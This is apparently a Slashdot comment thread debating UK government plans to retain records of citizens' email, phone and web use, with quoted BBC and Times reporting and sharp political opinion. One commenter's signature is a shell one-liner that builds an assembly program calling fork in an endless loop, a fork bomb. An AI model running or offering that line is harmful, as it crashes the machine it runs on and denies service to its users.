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In the UK, Big Brother Recedes and Advances
PeterAitch writes "The UK government's Home Office has put a hold on their surveillance project to track details of everybody's email, mobile phone, text, and Web use after being warned of problems with privacy as well as technical feasibility and high costs." Four hours before the above Guardian story was filed, the BBC reported that the same Home Office insisted that it will push ahead with plans "to compel communication service providers to collect and retain records of communications from a wider range of internet sources, from social networks through to chatrooms and unorthodox methods, such as within online games."
could someone please seriously enlighten me as to why the UK government believes this has a chance of succeeding?
TalkTalk's director has already said unequivocably that TalkTalk will sue the UK Government if they proceed with policies like this, on the basis that presumably the TalkTalk director does not want to be put in jail for being ultimately responsible for implementing UK government policies that violate E.U and International Laws on privacy and human rights.
Additionally, the UK's secret service has warned the UK government that raising people's awareness of attacks on their privacy simply raises their awareness of techniques to keep their conversations private, thus making the job of snooping on conversations that really *matter* just that much more difficult and costly.
All right, people, I'm in charge now and we will find the terrorists. Jarvis, I want you to check for any terrorist chatter on AOL. Marley and Greggs, try searching for nuclear devices on askjeeves.com
This is the level of sophistication we're dealing with. They might catch some really, really stupid criminals. Like the ones that put their bank robbery's on youtube.
Now bearing in mind that they currently are looking at the connections between communicators, rather than the content of those communications; that's arguably even more dangerous, because it's like a giant fishing expedition combined with "guilty by association".
It's not just the Brits, it's the whole EU. It's an EU regulation that pretty much all countries accepted.
And it's for our protection, it's to stop terrorists. Erm... or what is to stop child pornography. Maybe it was to catch copyright infringes. Well, it was to stop something anyway, I think.
Anyway, the people will be more safe.
This is good news, because it creates more jobs so that half the people in the UK can watch the other half all the time, and then they swap over every so often.
No one will be without a job then, and we solve the terrorist problem in one shot!
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It is very hard to object to this kind of thing, because no-one is against catching criminals and terrorists if it makes us safer, right?
The opposing arguments are hard to make because they rely on criticism of human nature and seemingly outlandish warnings of sleepwalking in to 1984. None the less, they must be made if we are to save ourselves.
Everyone has things to hide, and everyone needs privacy. You don't expect your bank statement on the back of a post card, you expect it hidden inside an envelope. Surely though the police should be allowed to monitor everything? The problem is that the police are human beings too and there are endless examples of them abusing their power.
My local MP (Sarah McArthy Fry) made the argument that internet surveillance had been used to prevent a suicide, and so was entirely justified. Harsh as it may seem, one life is not enough justification. If we banned cars we could save thousands of people from being killed or severely injured every year, but the bottom line is we consider the benefits of cars to outweigh those lives.
There is no perfect system, but there must be a balance between privacy and limiting the powers of those in authority on the one hand and prevention of crime on the other.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
it is time to abandon these islands ..
you mean eject the prats surely!?
preferably by cannon.
Sadly, some of our compatriots do want it.
Some of them have a mix of just enough racism, just enough respect for authority and just enough credulity to have really, heavily bought into the "terrorists are everywhere" line. They think anyone with dark skin of arab/persian or even indian descent is probably plotting to overthrow the state and/or perpetrate some mass murder like 9/11 or 7/7. The tabloids deliberately confuse them and conflate immigration (legal or otherwise), asylum and terrorism into one big boiling mess of "those dark skinned foreigners are just evil!".
And so when the government tell them they are doing something, anything at all, they jump for joy. Criticism is taken as dangerous, subversive anti-patriotic and prima facie evidence of wrongdoing. They also tend to be the types that will immediately defend any action by the police because beating up defenceless protestors is somehow defending the public.
This is not some sort of "those people" thing either, this cuts across social class and geography. Hell, I'm even related to some people like this.
Now, before americans jump in here please remember that there's a big chunk of your population that think exactly the same way. They are often also the ones quickest to shout about loss of freedom when it comes to social programs.
We already kill ourselves in large numbers each year using cars, tobacco, junk food and alcohol, without any help by religious extremists. They're not even going to make a dent.
This proposed legislation has little to do with protection of the citizenry and more to do with making sure that those in power, remain in power.
This is the level of sophistication we're dealing with. They might catch some really, really stupid criminals. Like the ones that put their bank robbery's on youtube
True. But yet again, the declared purpose of legislation like this and its true aim are not the same - it is never intended as a serious form of catching real "terrorist" of the strap on some dynamite and get on a bus kind. To maintain power and control you need your Thought Police. The best weapon required is surveillance of the normal, general population - it allows the culture of fear to be maintained, allowing the status quo to maintain power.
What would happen if all of the major UK ISPs sued, or outright refused to implement this monitoring system? Would they be fined? Would the Gov. be able to get them to pay?
Would cutting the UK off from the rest of the world for a day (in protest) be an effective demonstration of how costly this would be?
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Exceptions would be made for online banking and shopping using a dedicated system that can't be used for anything else.
Using encryption for other purposes - even SSH to your work, or SSL login to your admin account on a web service would require special government certification and installing a dedicated monitoring software on the machine you're on. Otherwise, even posession of encryption software would land you in prison.
Other than that - mandatory government-issued spyware?
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Actually they have caught people planning to blow up supermarkets who did discuss it over web email
http://news.bbc.co.uk/2/hi/programmes/panorama/6692741.stm
TAYLOR: They then walked round the corner to Universal Video in Slough. Again, the spooks were on the case.
CLARKE: What they did was look at an email account on which were images of devises, electronic components which formed part of remote detonation.
Heroic British SIS officers, with a little help from the NSA were able to spy on the https connection to the web email service and also bug their car
TAYLOR: Omar's friend then had a touch of the jitters.
KUAJA: Bruv, just one thing, you don't think this place is bugged, do you?
OMAR: Nar, I don't think it's bugged bruv, at all. I don't even think the car's bugged. I was saying to XXX what we talk about sometimes, what we're doing, what I'm doing, yeah, bruv, if they knew about it, they wouldn't wait a day bruv, they wouldn't wait one day to arrest me, yeah, or any of us.
TAYLOR: At night, two days later, police specialists moved in to access to neutralise the threat.
Plus they got tips from helpful members of the public
ACCESS GIRL: [on telephone] Hi, is that the police?
TAYLOR: But the spooks also needed something else, luck.
ACCESS GIRL: We've got a suspicion about one of our customers.
TAYLOR: And there was good reason for the call, and this was it, a huge bag stored in unit 1118. Now the staff at Access had got no idea what was inside, but the warning that said oxidising agent was more than enough to cause them concern. In fact, the bag contained 600 kilograms of ammonium nitrate fertiliser. That's around half a ton, and that's more than the IRA used to bomb canary wharf.
Later that night specialists from the anti terrorist branch gained access to unit 1118, the lockup where the bag was stored. They needed to establish that the substance inside the bag was ammonium nitrate ? it was. Alarm bells rang. The spooks had been hearing details of a bomb plot and now they'd found the explosive needed to make it. The pieces of the jigsaw were beginning to come together.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The budget for the snooping programme was allocated years ago, about £1bn ($1.6bn US) was made public - it was a nice small sounding figure, nothing heard of the scheme again for years. NOW there is an election looming where everything from lying about immigration to the politicians expenses claims have been leaked, they are claiming that the scheme is dead in the water, when the truth is anything but.
If the spies deny it, it is safe to assume they are lying to placate people
http://news.bbc.co.uk/1/hi/8032367.stm
The UK's electronic intelligence agency has taken the unusual step of issuing a statement to deny it will track all UK internet and online phone use.
Government Communications Headquarters (GCHQ) said it was developing tracking technology but "only acts when it is necessary" and "does not spy at will".
Known as Deep Packet Inspection equipment, these probes will "steal" the data, analyse and decode the information and then route it direct to a government-run database.
Or http://www.timesonline.co.uk/tol/news/uk/article4882622.ece
Every call you make, every e-mail you send, every website you visit - I'll be watching you. That is the hope of Sir David Pepper who, as the director of GCHQ, the government's secret eavesdropping agency in Cheltenham, is plotting the biggest surveillance system ever created in Britain.
The scope of the project - classified top secret - is said by officials to be so vast that it will dwarf the estimated £5 billion ministers have set aside for the identity cards programme. It is intended to fight terrorism and crime. Civil liberties groups, however, say it poses an unprecedented intrusion into ordinary citizens' lives.
Aimed at placing a "live tap" on every electronic communication in Britain, it will dwarf other "big brother" surveillance projects such as the number plate recognition system and the spread of CCTV.
I will say that the politicians here like to say "if you have nothing to hide, you have nothing to fear". Strangely they don't subscribe to this maxim when you are looking into their criminal expenses claims, or government documents that are deeply embarrassing to the current government that were claimed to not exist - but exist, they just didn't want to release them. The UK police don't like the rise of photo and video cameras showing their abuses of the law, so the current corrupt UK government passes a law where is it's crime to photo / record a police officer. http://www.bjp-online.com/public/showPage.html?page=839141
Take Nobody's Word For It.
No, its dictatorship, not communism. East Germany happened to be a communist dictatorship., but there are plenty of the other kinds
Bombers are not sheltered by communities, they may be sheltered by one or two people very close to them.
It is like claiming that fascist bombers are being sheltered by the white community (there has been one who actually platned bomds, and other who were planning to until caught in Britain).
Encrypted traffic does not hide who you are communicating with.
The term "thought police" comes from Orwell's "1984", set in what "had once been called England or Britain", so it makes sense that it's happening here. And according to Orwell, "1984" was a criticism of the perversions of communism and fascism. Interesting that you pick up on the extreme left but not the extreme right...
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See that's a perfect summary of why I haven't watched Panorama in ages. It's become more and more like the US style of hypermentary: Tell the audience what you're going to tell them. Tell them they should be afraid / excited / awestruck. Play some bass noise. Talk in a Really. Slow. Earnest. Voice. Tell them what you're telling them. Tell them what you've told them. End forty minutes of drawn out information.
Honestly, I would prefer a nice tidy sequence of events and some more in-depth looks at the interesting parts. But I guess my aim is to get information and their target audience is those trying to fill their life with "entertainment". But I do miss being talked to like an intelligent human being.
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
Politics is circular - the actions once in power of the extreme right and the extreme left are identical. The only difference has been the lies they tell in order to get into power.
I don't think it's malice on behalf of the politicians. When you look at many prominent members of the Labour government you notice they're just not clever or intelligent people- Jacqui Smith, Hazel Blears, Harriet Harman, Keith Vaz, Peter Mandelson, Ed Balls and so on. I get the impression there's a few who are a bit more smart and are more malicious like David Miliband, but for the most part these people are a little dormant when it comes to their ability to think.
These people really do believe they're doing it for our own good, that it's a valid solution and that it's the right thing to do. When people like Peter Mandelson can't even keep the fact he's corrupt to the core secret, having been caught red handed about 4 times now in the middle of dodgy backhand deals, and Hazel Blears apparently can't walk down the street without getting her shoe stuck in the pavement and looking like an idiot in front of the worlds media why would anyone believe these people would have the mental capacity to pull off a power grabbing plot?
Of course you could still be right- it may not be the politicians, they could simply be puppets of those in the security services who are telling them what "needs" to be done which is plausible and probably more realistic. In general though the political problem is certainly one of incompetence rather than an inherent evil. The politicians almost certainly do believe these measures will really catch terrorists.
You make a good point. I was reading about Romania's dictator and his wife. He was not terribly bright, and his wife was a peasant who dropped-out of school in 4th grade. She used her power to force people to write research papers, and put her name on them, but she was dumb as a doorknob.
It seems government attracts the not-so-bright to positions of power.
"I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall